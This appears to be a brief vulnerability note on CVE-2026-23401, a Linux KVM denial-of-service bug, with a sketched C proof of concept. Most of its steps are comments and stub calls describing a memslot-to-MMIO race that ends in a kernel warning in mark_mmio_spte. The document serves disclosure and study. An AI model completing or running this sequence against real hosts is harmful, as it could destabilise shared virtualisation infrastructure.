CVE-2026-23401 Linux内核KVM拒绝服务漏洞

/* * PoC Concept for CVE-2026-23401 * This requires a custom VMM or QEMU modification to trigger the race. */ #include <linux/kvm.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> int main() { int kvm_fd = open("/dev/kvm", O_RDWR); int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); // ... Setup VM and VCPU ... // 1. Map a guest page to a memslot (Normal Memory) // kvm_vm_ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, &region); // 2. Trigger a guest write to this page to establish shadow-present SPTE // run_guest_code(vcpu_fd); // 3. Host userspace modifies gPTE to switch region to MMIO // (e.g., via KVM_SET_USER_MEMORY_REGION with flags or dirty logging manipulation) // modify_memslot_to_mmio(vm_fd, region); // 4. Trigger guest access to the same address again // This causes KVM to install MMIO SPTE without zapping the old one. // run_guest_code(vcpu_fd); // Result: Kernel WARNING in mark_mmio_spte return 0; }